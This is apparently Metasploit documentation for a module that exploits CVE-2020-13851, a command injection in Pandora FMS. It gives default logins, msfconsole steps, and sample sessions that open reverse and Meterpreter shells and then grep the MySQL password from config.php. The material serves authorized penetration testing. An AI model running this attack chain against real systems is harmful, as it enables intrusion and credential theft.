## Vulnerable Application
This module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744
(and perhaps older versions) in order to execute arbitrary commands.

The module first connects to the target's `index.php` page in order to verify the version number, which should be displayed here.
If the version indicates the target is likely vulnerable, the module will try to authenticate using the credentials provided by the user.
If no custom credentials are provided, the module will use the default Pandora FMS credentials, which are `admin:pandora`.

After authenticating, the module attempts to exploit CVE-2020-13851, which is a command injection vulnerability
in the `Events` feature of Pandora FMS. Specifically, this flaw allows users to execute arbitrary commands via
the `target` parameter in HTTP POST requests to the `Events` function.
In order to obtain remote code execution, the module will attempt to issue a malicious HTTP POST request to the `Events` function,
with the `target` parameter set to contain the payload.

If a shell is obtained, the module will try to obtain the local MySQL database password via a simple `grep` command on the plaintext
`/var/www/html/pandora_console/include/config.php` file.
The default MySQL administrative user is `root` and the default password for the official CentOS virtual appliance ISO is `pandora`.
For the official Docker container, the default MySQL password is `avwwoyqk`. This password can subsequently be used
in order to query the database and to escalate the privilege of any Pandora FMS account to an administrator.

Valid credentials for a Pandora FMS account are required for the module to work. The account does not need to have admin privileges.
This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version).

Vulnerable software for testing can be download here: https://sourceforge.net/projects/pandora/.
The easiest ways to install Pandora FMS are as a Docker image or as an ISO. Detailed instructions are available here:
https://pandorafms.com/docs/index.php?title=Pandora:Documentation_en:Installing.
The ISO installation instructions are under sections 1.8 and 1.9, those for Docker are under 1.10.

## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/linux/http/pandora_fms_events_exec`
4. Do: `set RHOSTS [IP]`
5. Do: `set USERNAME [username for the Pandora FMS account]`
6. Do: `set PASSWORD [password for the Pandora FMS account]`
7. Do: `set LHOST [IP]`
8. Do: `exploit`

## Options
### PASSWORD
The password for the Pandora FMS account to authenticate with. This option is required. The default value is `pandora`.

### TARGETURI
The base path to Pandora FMS. The default value is `/pandora_console/`.

### USERNAME
The username for the Pandora FMS account to authenticate with. This option is required. The default value is `admin`.

## Scenarios
### Pandora FMS 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). Target: Linux (x64)
```
msf exploit(linux/http/pandora_fms_events_exec) > show options

Module options (exploit/linux/http/pandora_fms_events_exec):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   PASSWORD   pandora            yes       Password to authenticate with
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.13       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                 yes       The target port (TCP)
   SRVHOST    0.0.0.0            yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080               yes       The local port to listen on.
   SSL        false              no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /pandora_console/  yes       Base path to Pandora FMS
   URIPATH                       no        The URI to use for this exploit (default is random)
   USERNAME   admin              yes       Username to authenticate with
   VHOST                         no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.12     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)


msf exploit(linux/http/pandora_fms_events_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.12:4444 
[+] Authenticated as user admin.
[*] Executing payload...
[*] Sending stage (3012516 bytes) to 192.168.1.13
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Meterpreter session 18 opened (192.168.1.12:4444 -> 192.168.1.13:39208) at 2020-07-01 10:14:44 -0400

meterpreter > 
[*] Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.
getuid
Server username: no-user @ localhost.localdomain (uid=48, gid=48, euid=48, egid=48)
meterpreter >
```
### Pandora FMS 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). Target: Linux (cmd)
```
msf exploit(linux/http/pandora_fms_events_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.12:4444 
[+] Authenticated as user admin.
[*] Executing payload...
[*] Command shell session 1 opened (192.168.1.12:4444 -> 192.168.1.13:38776) at 2020-06-16 13:01:52 -0400
[*] Trying to read the MySQL DB password via `cat include/config.php | grep dbpass`. The default privileged user is `root`.

$config["dbpass"]="pandora";
id
uid=48(apache) gid=48(apache) groups=48(apache)
```
